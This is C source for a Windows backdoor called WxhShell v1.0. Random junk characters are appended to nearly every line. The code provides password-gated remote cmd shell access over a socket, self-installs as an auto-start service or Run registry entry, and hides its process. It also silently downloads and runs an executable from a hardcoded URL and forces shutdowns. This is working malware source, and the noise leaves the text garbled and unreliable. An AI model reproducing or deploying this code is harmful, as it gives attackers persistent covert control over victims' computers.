    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RdY#B;  
    else { j5HOdy2  
    closesocket(wsh); RI%l& Hm  
    ExitThread(0); SZ1C38bd,.  
    } c9ZoO;  
    break; {Rz`)qqE  
    } v~xG*e  
  // 获取shell ims *|~{sr  
  case 's': { Cn{UzSKfs  
    CmdShell(wsh); HL!-4kN <$  
    closesocket(wsh); x)GoxH~#  
    ExitThread(0); #IXQ;2%E  
    break; [ z&y]~  
  } }0!\%7-Q  
  // 退出 8t7hN?,t  
  case 'x': { AV&eg e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =AAH}  
    CloseIt(wsh); nv8,O=#s  
    break; +,KuYa{lu  
    } +X- k)9  
  // 离开 \m\.+q]  
  case 'q': { 1ii.nt1 u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); UHg^F4>4  
    closesocket(wsh); Ri3m438  
    WSACleanup(); Z?@07Y[|K  
    exit(1); Q^ F-8  
    break; ilHj%h*z  
        } !#?tA/t@  
  } < xV!vN  
  } tN0>5'/  
G.N3R  
  // 提示信息 I2/wu(~>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E7D^6G&i  
} f2Slsl;  
  }   C[Fh^  
zZ wD)p?_g  
  return; CkflEmfe  
} #&/*ll)  
iN)@Cu7  
// shell模块句柄 mPh;  
int CmdShell(SOCKET sock)  K A<  
{ H _2hr[  
STARTUPINFO si; <zUmcZ  
ZeroMemory(&si,sizeof(si)); TRiB|b]8Q#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [v&_MQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *%8us~w5/  
PROCESS_INFORMATION ProcessInfo; iVl"H@m/  
char cmdline[]="cmd"; K~E]Fkw!;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ue\&  
  return 0; 2V0R|YUt  
} f[v??^  
jc?Hip'  
// 自身启动模式 4 I~,B[|  
int StartFromService(void) f9 rToH  
{ ywdNwNJ  
typedef struct Y#m0/1-  
{ KOxD%bX_  
  DWORD ExitStatus; OGVhb>LO1  
  DWORD PebBaseAddress; K0v,d~+]  
  DWORD AffinityMask; A< Na,EC  
  DWORD BasePriority; -OHG1"/  
  ULONG UniqueProcessId; /U`"|3  
  ULONG InheritedFromUniqueProcessId; ,=ICSS~9l  
}   PROCESS_BASIC_INFORMATION; Vz#cb5:g  
R'3i { 1  
PROCNTQSIP NtQueryInformationProcess; TwkzX|  
5_O.p3$tV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WV6vM()#!C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |p+VitM7  
9X(bByEO  
  HANDLE             hProcess; Ry(!< w,  
  PROCESS_BASIC_INFORMATION pbi; qd.b&i  
 O{4m-;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #eaey+~  
  if(NULL == hInst ) return 0; f(C0&"4e  
h>n;A>k@N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); " c]Mz&z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3HA{18{4uP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2D!'7ZD  
5M(?_qj  
  if (!NtQueryInformationProcess) return 0; V- v Vb  
3Q#VD)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B845BSmh  
  if(!hProcess) return 0; n-\B z.  
|fA[s7)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e^FS/=  
x}roPhZ  
  CloseHandle(hProcess); E*ic9Za8`h  
9-@w(kMu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _S[H:b$?  
if(hProcess==NULL) return 0; (u*]&yk  
QL)UPf>Kp  
HMODULE hMod; '5Y8 rv<  
char procName[255]; -py.Y Z  
unsigned long cbNeeded; z#\Z|OKU  
S38D cWIw  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lH6t  d  
%mq]M  
  CloseHandle(hProcess); e*g; +nz  
igp4[Hj  
if(strstr(procName,"services")) return 1; // 以服务启动 [W2p}4(  
1{~9:U Q  
  return 0; // 注册表启动 o+nU{  
} s9Xeh"  
&3JbAJ|;X  
// 主模块 A6sBObw;  
int StartWxhshell(LPSTR lpCmdLine) tSm|U<  
{ ?;*mSQA`J  
  SOCKET wsl; z!1j8o2  
BOOL val=TRUE; S:5Nh^K  
  int port=0; $+mmqc8  
  struct sockaddr_in door; ~E!"YkIr  
)rXP2Z  
  if(wscfg.ws_autoins) Install(); kxdLJ_  
Ve=0_GR0  
port=atoi(lpCmdLine); (zhmZm  
F|PYDC  
if(port<=0) port=wscfg.ws_port; &o8\ $A  
 RFZrcM  
  WSADATA data; Q~]R#S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9xSAWKr,l  
5~sJ$5<,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'UB<;6wy  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mr/^lnO  
  door.sin_family = AF_INET; 1xx-}AIH#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T.{I~_  
  door.sin_port = htons(port); tVe*J@i\$  
,:#prT[P"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K.cNx  
closesocket(wsl); sz)3 z  
return 1; F;z FKvn  
} D~1nh%x_  
;Y~;G7  
  if(listen(wsl,2) == INVALID_SOCKET) { 2D-*Z=5^  
closesocket(wsl); 0]WM:6 h  
return 1; bc&:v$EGy  
} P2oR C3~  
  Wxhshell(wsl); )kkO:j  
  WSACleanup(); 0zEn`rq&  
ou(9Qf zN  
return 0; R~tv?hP  
lP@9%L  
} 9M7{.XR,  
g<,|Q5bK  
// 以NT服务方式启动 ZSbD4 |_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) eag$i.^aS  
{ !WY@)qlf  
DWORD   status = 0; @z2RMEC~  
  DWORD   specificError = 0xfffffff; +/Z:L$C6  
Q0r_+0[7j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <}UqtD F 0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; NZD X93  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [pOU!9v4  
  serviceStatus.dwWin32ExitCode     = 0; 1di?@F2f  
  serviceStatus.dwServiceSpecificExitCode = 0; }vm17`Gfy  
  serviceStatus.dwCheckPoint       = 0; nmgW>U0jZh  
  serviceStatus.dwWaitHint       = 0; E7*]t_p"  
yEz2F3[ S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GI~;2 `V  
  if (hServiceStatusHandle==0) return; 7f`jl/   
O|OPdD  
status = GetLastError(); & XrV[d[>  
  if (status!=NO_ERROR) E`'+1  
{ `yVJ `} hm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PvA%c<z  
    serviceStatus.dwCheckPoint       = 0; i %z}8GIt'  
    serviceStatus.dwWaitHint       = 0; AQFx>:in  
    serviceStatus.dwWin32ExitCode     = status; KcSvf;sx  
    serviceStatus.dwServiceSpecificExitCode = specificError; (K2 p3M^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #!5GGe{I  
    return; ."h;H^5  
  } ;z[yNW8  
mMa7Eyaf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CjO/q)vV  
  serviceStatus.dwCheckPoint       = 0; #4|?;C)u\  
  serviceStatus.dwWaitHint       = 0; 9,9( mbWJv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v=/V<3  
} |g7E*1Ie  
}b+=,Sc"  
// 处理NT服务事件,比如:启动、停止 k1%Ek#5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (57x5qP X  
{ a1Gy I  
switch(fdwControl) G& ;W  
{ eR3!P8t  
case SERVICE_CONTROL_STOP: 0 ">#h  
  serviceStatus.dwWin32ExitCode = 0; 1&m08dZm5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; iPs()IN.O  
  serviceStatus.dwCheckPoint   = 0; jOe %_R  
  serviceStatus.dwWaitHint     = 0; d$>1 2>>  
  { "r|O /   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D9Q%*DLd$_  
  } SR\#>Qwx_  
  return; {^ N = hI  
case SERVICE_CONTROL_PAUSE: GHoPv-#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; air{1="<-  
  break; +]AE}UXZoh  
case SERVICE_CONTROL_CONTINUE: cW3;5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .*y{[."!  
  break; b^%4_[uRu  
case SERVICE_CONTROL_INTERROGATE: Qs4Jl;Y_  
  break; zg^5cHP\  
}; >w V$az  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >u6kT\|^C  
} iedoL0#  
:qnRiK]  
// 标准应用程序主函数 JM M\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VNMhtwmK,  
{ jCy2bE  
%5uuB4P&|$  
// 获取操作系统版本 Z &PwNr/  
OsIsNt=GetOsVer(); 578Dl(I#)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jIEK[vJ`  
aeg5ij-]u@  
  // 从命令行安装 TpnkJygIm  
  if(strpbrk(lpCmdLine,"iI")) Install(); T$k) ^'  
` !rHH  
  // 下载执行文件 c !5OK4+Z  
if(wscfg.ws_downexe) { z[7U>q[E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [.0R"|$sy+  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8rw;Yo<k  
}  Kp!P/Q{  
E]+W^ VG  
if(!OsIsNt) { Ot(EDa9}IJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 o{:D  
HideProc(); ,g/UPK8K=  
StartWxhshell(lpCmdLine); ku\_M  
} '1bdBx\<.  
else X3q'x}{  
  if(StartFromService()) }G-qOt  
  // 以服务方式启动 9}5Q5OZ  
  StartServiceCtrlDispatcher(DispatchTable); vL-%"*>v  
else jd~r~.y  
  // 普通方式启动 o6svSS  
  StartWxhshell(lpCmdLine); \24neD4cM@  
Yr[1-Oy/k  
return 0; t6j(9[gGq  
} h NP|  
m,8A2;&,8  
%1e`R*I  
k:af  
=========================================== F!.@1Fi1  
l%;)0gT  
ydBoZ3}  
&?x^I{j  
Inr ~9hz  
v6iV#yz3(  
" D<nTo&m_  
Mc{1Cdj  
#include <stdio.h> ;g?5V  
#include <string.h> ~Fisno  
#include <windows.h> Ei}B9 &O  
#include <winsock2.h> Dx iCq(;  
#include <winsvc.h> 0PTB3-  
#include <urlmon.h> haB$W 4x  
EjvxfqPv  
#pragma comment (lib, "Ws2_32.lib") ^W'\8L  
#pragma comment (lib, "urlmon.lib") e}7qZ^  
A D~\/V&+  
#define MAX_USER   100 // 最大客户端连接数 Px)VDs=k  
#define BUF_SOCK   200 // sock buffer $(C71M|CT  
#define KEY_BUFF   255 // 输入 buffer :#b[gWl0Ru  
utRvE(IbmV  
#define REBOOT     0   // 重启 E-&=I> B5  
#define SHUTDOWN   1   // 关机 {iHC;a5gb$  
 V18w  
#define DEF_PORT   5000 // 监听端口 /&dC?bY  
<udp:s3#T  
#define REG_LEN     16   // 注册表键长度 *bwLi h!}H  
#define SVC_LEN     80   // NT服务名长度 !sfUrUu  
b8T'DY;~  
// 从dll定义API  ~)WE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <r9J+xh*p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3/4xP|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DUY#RJf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !AP|ozkL  
H@OYtPHGR  
// wxhshell配置信息 ~I2 IgEj>]  
struct WSCFG { l6a,:*_  
  int ws_port;         // 监听端口 QNn$`Qz.  
  char ws_passstr[REG_LEN]; // 口令 S1zV.]  
  int ws_autoins;       // 安装标记, 1=yes 0=no !%]]lxi  
  char ws_regname[REG_LEN]; // 注册表键名 MNkysB(  
  char ws_svcname[REG_LEN]; // 服务名 <gJ|Wee  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m<r.sq&;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 oDA1#-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 RM QlciG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no d0IHl!X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -s4qm)\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zn@tLLX  
F5&4x"c  
}; Ma wio5  
{ 5h6nYu  
// default Wxhshell configuration %-H  
struct WSCFG wscfg={DEF_PORT, Vk8:;Hj  
    "xuhuanlingzhe", 9%iqequ  
    1, [+>$'Du  
    "Wxhshell", v ;{s@CM m  
    "Wxhshell", oZP:}= F  
            "WxhShell Service", HL*jRl  
    "Wrsky Windows CmdShell Service", CEZ*a 0}=  
    "Please Input Your Password: ", JF!!)6!2#  
  1, tUL(1:-C  
  "http://www.wrsky.com/wxhshell.exe", pSay^9ZI  
  "Wxhshell.exe" ^yjc"r%B  
    }; .(nq"&u-*  
5qB>Song  
// 消息定义模块 4*d_2:|u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hDzKB))<w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sd.:PE <  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,SS@]9A &  
char *msg_ws_ext="\n\rExit."; ow%s_yV]R  
char *msg_ws_end="\n\rQuit."; F5{~2~Cw(  
char *msg_ws_boot="\n\rReboot..."; 8`9!ocrM  
char *msg_ws_poff="\n\rShutdown..."; L 'H1\' o  
char *msg_ws_down="\n\rSave to "; swe6AQ-  
CKrh14ul  
char *msg_ws_err="\n\rErr!"; @(&ki~+   
char *msg_ws_ok="\n\rOK!"; JrS/"QSA  
M HlP)'  
char ExeFile[MAX_PATH]; q<.^DO~$L  
int nUser = 0; }Geip@Ot  
HANDLE handles[MAX_USER]; 1%EIP -z  
int OsIsNt; vpTS>!i  
d;H1B/  
SERVICE_STATUS       serviceStatus; HI)ks~E/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; NCl$vc;,  
bWG}>{fj  
// 函数声明 *>zr'Tt,W  
int Install(void); O. @_2  
int Uninstall(void); Vg&` f  
int DownloadFile(char *sURL, SOCKET wsh); ]p@7[8}  
int Boot(int flag); o+q4Vg9&  
void HideProc(void); //f[%j*>  
int GetOsVer(void); %GjF;dJ  
int Wxhshell(SOCKET wsl); h"M}Iz~|V?  
void TalkWithClient(void *cs); h`?0=:Tru  
int CmdShell(SOCKET sock); x-(?^g  
int StartFromService(void); ,$7LMTVDrE  
int StartWxhshell(LPSTR lpCmdLine); e2k!5O S  
` _[\j]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]:Ocu--  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J1P82=$,  
enK4`+.7  
// 数据结构和表定义 C&K%Q3V  
SERVICE_TABLE_ENTRY DispatchTable[] = k7f[aM5]  
{ ,k+jx53XV  
{wscfg.ws_svcname, NTServiceMain}, _N0x&9S$  
{NULL, NULL} q$~S?X5\  
}; 1 NLawi6  
5{[3I|m{  
// 自我安装 .V 9E@_(  
int Install(void) !W{|7Es?.  
{ |4x&f!%m  
  char svExeFile[MAX_PATH]; c[@>#7p`o  
  HKEY key; xL=g(FN(6L  
  strcpy(svExeFile,ExeFile); U~!97,|ic  
 FxD\F  
// 如果是win9x系统,修改注册表设为自启动 uWvl<{2  
if(!OsIsNt) { **dGK_^T0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Nbuaw[[iz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h9&<-k  
  RegCloseKey(key); 0XvMaQXQF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a(BWV?A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +!'6:F  
  RegCloseKey(key); W;OxH"eC  
  return 0; J+w"{ O  
    } {b7P1}>-*  
  } =KMd! $J\  
} /$]dVvhX%  
else { pcoJ\&&W  
/QD}_lh;,  
// 如果是NT以上系统,安装为系统服务 nU||Jg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VOp8 ,!  
if (schSCManager!=0) 6@; w%Ea  
{ 73Tg{~  
  SC_HANDLE schService = CreateService O/iew3YF  
  ( Xj?j1R>GB  
  schSCManager, DM~Q+C=Yr  
  wscfg.ws_svcname, nNq|v=L  
  wscfg.ws_svcdisp, ?)5}v4b  
  SERVICE_ALL_ACCESS, 6(<AuhFu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C  `k^So)  
  SERVICE_AUTO_START, =+A8s$Pb  
  SERVICE_ERROR_NORMAL, /!d,f4n  
  svExeFile, <),FI <~  
  NULL, x{5 I  
  NULL, ]%"Z[R   
  NULL, U_Emp[  
  NULL, o_X"+s  
  NULL UIIunA9  
  ); V92e#AR  
  if (schService!=0) m9.QGX\]  
  { (y=P-nm  
  CloseServiceHandle(schService); UOT~L4 G  
  CloseServiceHandle(schSCManager); 6TlkPM$~2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'hg, W]  
  strcat(svExeFile,wscfg.ws_svcname); <b{Le{QJ*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  }m\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +q1 @8  
  RegCloseKey(key); =y[eQS$  
  return 0; T[~ak"M  
    } QJvA  
  } \E]s]ft;+  
  CloseServiceHandle(schSCManager); +.b~2K1  
} gj$gqO`B  
} #0hX)7(j  
w!8h4U. ;  
return 1; \7jcZ~FBX%  
} X];a(7+2  
y85GKysT  
// 自我卸载 &*T57tE  
int Uninstall(void) s <Ag8U8  
{ oC^-" (#  
  HKEY key; rM_8piD  
BVC\~j j  
if(!OsIsNt) { :,LX3,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3:dQN;=  
  RegDeleteValue(key,wscfg.ws_regname); wNcf7/ky  
  RegCloseKey(key); w3fi2B&q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )xT_RBR  
  RegDeleteValue(key,wscfg.ws_regname); gMFTZQsP  
  RegCloseKey(key); mVP@c&1w?  
  return 0; V: 2|l!l*  
  } q#c\  
} +f;z{)%B  
} *-Z JF6  
else { ^#vWdOlt  
C(xdiQJh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Qm^N}>e  
if (schSCManager!=0) ERCW5b[RT  
{ n)^B0DnIk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W 29@`93  
  if (schService!=0) zl4Iq+5~6Q  
  { W5HC7o\4  
  if(DeleteService(schService)!=0) { <G}>Gk8x  
  CloseServiceHandle(schService); '!b1~+PV  
  CloseServiceHandle(schSCManager); Nq9@^ E-{M  
  return 0; KZsSTB6J  
  } {CYFM[V  
  CloseServiceHandle(schService); E{(7]Wri  
  } pN1W|Wv2  
  CloseServiceHandle(schSCManager); xzAyE5GL>  
} {Lrez E4  
}  gX.4I;  
}Q/xBC)  
return 1; JY4 +MApN  
} QEm6#y  
AQ'~EbH(  
// 从指定url下载文件 #e{l:!uS\  
int DownloadFile(char *sURL, SOCKET wsh) bCy.S.`jHQ  
{ F3;UH%L1  
  HRESULT hr; : v<|y F  
char seps[]= "/"; 3{]csZvW  
char *token; 6- s/\  
char *file; g.iiT/b  
char myURL[MAX_PATH]; l" *zr ;#  
char myFILE[MAX_PATH]; 6rq:jvlx$  
;[uJ~7e3  
strcpy(myURL,sURL); o~*% g.  
  token=strtok(myURL,seps); mj{TqF  
  while(token!=NULL) Vj2]-]Cm  
  { EO:i+e]=  
    file=token; j1_CA5V  
  token=strtok(NULL,seps); OU/PB  
  } diaLw  
'>@ evrG  
GetCurrentDirectory(MAX_PATH,myFILE); }BzV<8F  
strcat(myFILE, "\\"); TMT65X!  
strcat(myFILE, file); |36d<b Io  
  send(wsh,myFILE,strlen(myFILE),0); >E^sZmY[f-  
send(wsh,"...",3,0); s1?N&t8c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }c:s+P+/  
  if(hr==S_OK) )xoIH{  
return 0; xbvZ7g^  
else ^R! qxSj  
return 1; K\,)9:`t  
dE%rQE7'  
} ?WKFDL'_0j  
+YI/(ko=  
// 系统电源模块 zw_Xh~4"b  
int Boot(int flag) [K9l>O  
{ p>Qzz`@e  
  HANDLE hToken; -V%"i,t  
  TOKEN_PRIVILEGES tkp; )4bBR@QM  
#||^l_  
  if(OsIsNt) { )4toBDg"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OT+=H)/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a{GPAzO+  
    tkp.PrivilegeCount = 1; [?Cv^t${+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pW2NrBq@w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b>er'U  
if(flag==REBOOT) { U_K"JOZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O@ F0UM`!  
  return 0; AVF(YD<U  
} %-/[.DYt  
else { =e$<[ "  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1~zzQ:jAZ  
  return 0; W.'#pd  
} !9_HZ(W&  
  } HQCxO?  
  else { g=XvqD<  
if(flag==REBOOT) { yT.h[yv"w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wDVKp['  
  return 0; bC{}&a  
} >7V96jL$Y  
else { ^ Vso`(Ss  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !KKkw4  
  return 0; =\"88e;b2  
} V|gW%Z,j  
} >B!E 6ah  
,.A@U*j  
return 1; >-*rtiE  
} 7l/.f SW  
7/& i'y  
// win9x进程隐藏模块 3LN+gXmU  
void HideProc(void) @tGju\E"o  
{ 7jL+c~  
ePv3M&\J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ti$G2dBO  
  if ( hKernel != NULL ) _kg<K D=P  
  { %UT5KYd!=N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @a$_F3W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LmWZ43Z"@  
    FreeLibrary(hKernel); Kkcb' aDR  
  } m!Cvd9X=  
t~]n"zgovz  
return; rofj&{w  
} `u$  Rd  
H=RzY-\a%  
// 获取操作系统版本 LeRyS]  
int GetOsVer(void) 3`.*~qW  
{ 3q ujz)o  
  OSVERSIONINFO winfo; hjf!FY*F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  DA]<30 w  
  GetVersionEx(&winfo); (VV5SvdE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;)$bhNFHx  
  return 1; o&0fvCpW  
  else ;-sZaU;  
  return 0; FjR/_GPo6  
} 'K&^y%~py,  
VRU"2mQ.P6  
// 客户端句柄模块 d!0iv'^t  
int Wxhshell(SOCKET wsl) FnxPM`Zx  
{ cq+G0F+H  
  SOCKET wsh; diHK  
  struct sockaddr_in client; HVjN<HIqM  
  DWORD myID; Pt5"q3ec{T  
A0X'|4I  
  while(nUser<MAX_USER) mh#NmW>n  
{ 6Cw+  
  int nSize=sizeof(client); /5:2g# S4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PL} Wu=  
  if(wsh==INVALID_SOCKET) return 1; _E'F   
6<1 2j7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /Js A[}.6  
if(handles[nUser]==0) kZ<0|b  
  closesocket(wsh); `(tVwX4  
else IR JN  
  nUser++; la4 #2>#WZ  
  } PWciD '!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6`Hd)T5{w  
gxnIur)  
  return 0; }a O6%  
} 8u8-:c%{  
O|K-UTWH%  
// 关闭 socket MrjgV+P}[  
void CloseIt(SOCKET wsh) 4g4[n7  
{ _D+pJ{@W  
closesocket(wsh); +MZsL7%  
nUser--; GmhfBW?  
ExitThread(0); P* X^)R  
} .`p,pt;  
_E %!5u  
// 客户端请求句柄 t 57MKDn  
void TalkWithClient(void *cs) s>J\h  
{ 6-E>-9]'E  
VAW:h5j2@  
  SOCKET wsh=(SOCKET)cs; r&%TKm^/  
  char pwd[SVC_LEN]; f$>KTb({B  
  char cmd[KEY_BUFF]; =csh=V@s  
char chr[1]; H4B|c42  
int i,j; F $/7X~*  
f \ E9u}  
  while (nUser < MAX_USER) { B]2m(0Y>>v  
H 48YX(HI  
if(wscfg.ws_passstr) { 5Ve`j,`=<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mH.c`*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wqxChTbs  
  //ZeroMemory(pwd,KEY_BUFF); 0oK_uY 4g  
      i=0; >}T}^F  
  while(i<SVC_LEN) { '\B0#z3  
r 4 $<,~  
  // 设置超时 rEHlo[7^  
  fd_set FdRead; o|G'vMph  
  struct timeval TimeOut; $^:s)Yv  
  FD_ZERO(&FdRead); dNu?O>=  
  FD_SET(wsh,&FdRead); joz0D!-"#  
  TimeOut.tv_sec=8; ^F)t>K$0m  
  TimeOut.tv_usec=0; Mz7qC3Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); knn9s0'Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nsL"'iQ  
b>h L*9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gmqA 5W~y  
  pwd=chr[0]; &]"Z x0t5%  
  if(chr[0]==0xd || chr[0]==0xa) { |)VNf .aJZ  
  pwd=0; B>}B{qi|  
  break; z:^ (#G{  
  } uG7?:) pxv  
  i++; ~6A;H$dr  
    } Sw.k,p*r  
!C(U9p. 0  
  // 如果是非法用户,关闭 socket ^jb jH I&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #<K'RJn  
} LpK? C<?x  
2c*w{\X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M!YGv   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \@[Y ~:  
buldA5*!o  
while(1) { R]&lVXyH  
S5BS![-QK  
  ZeroMemory(cmd,KEY_BUFF); L35]'Jua  
G %A!yV  
      // 自动支持客户端 telnet标准   a[VX)w_W{  
  j=0; cYgd1  
  while(j<KEY_BUFF) { ' hDs.Wnu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CKnPMvmz  
  cmd[j]=chr[0]; 2T?8{yO7  
  if(chr[0]==0xa || chr[0]==0xd) { YEa<zhO8  
  cmd[j]=0; B/*\Ih9y  
  break; s !IvUc7'  
  } 8e5imei  
  j++; }<qZXb1  
    } CwM 1 _3cE  
p;qFMzyS9  
  // 下载文件 wpWZn[j  
  if(strstr(cmd,"http://")) { I`77[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `_()|;!y  
  if(DownloadFile(cmd,wsh)) o)f$ 7.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tkYPfUvTE  
  else cOf.z)kf6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <(t{C8>g%  
  } >Hu3Guik]  
  else { B)*1[Jf{4  
:9DyABK=Cv  
    switch(cmd[0]) { J`4V\D}n  
  ?bH`  
  // 帮助 Mp QsM-iW  
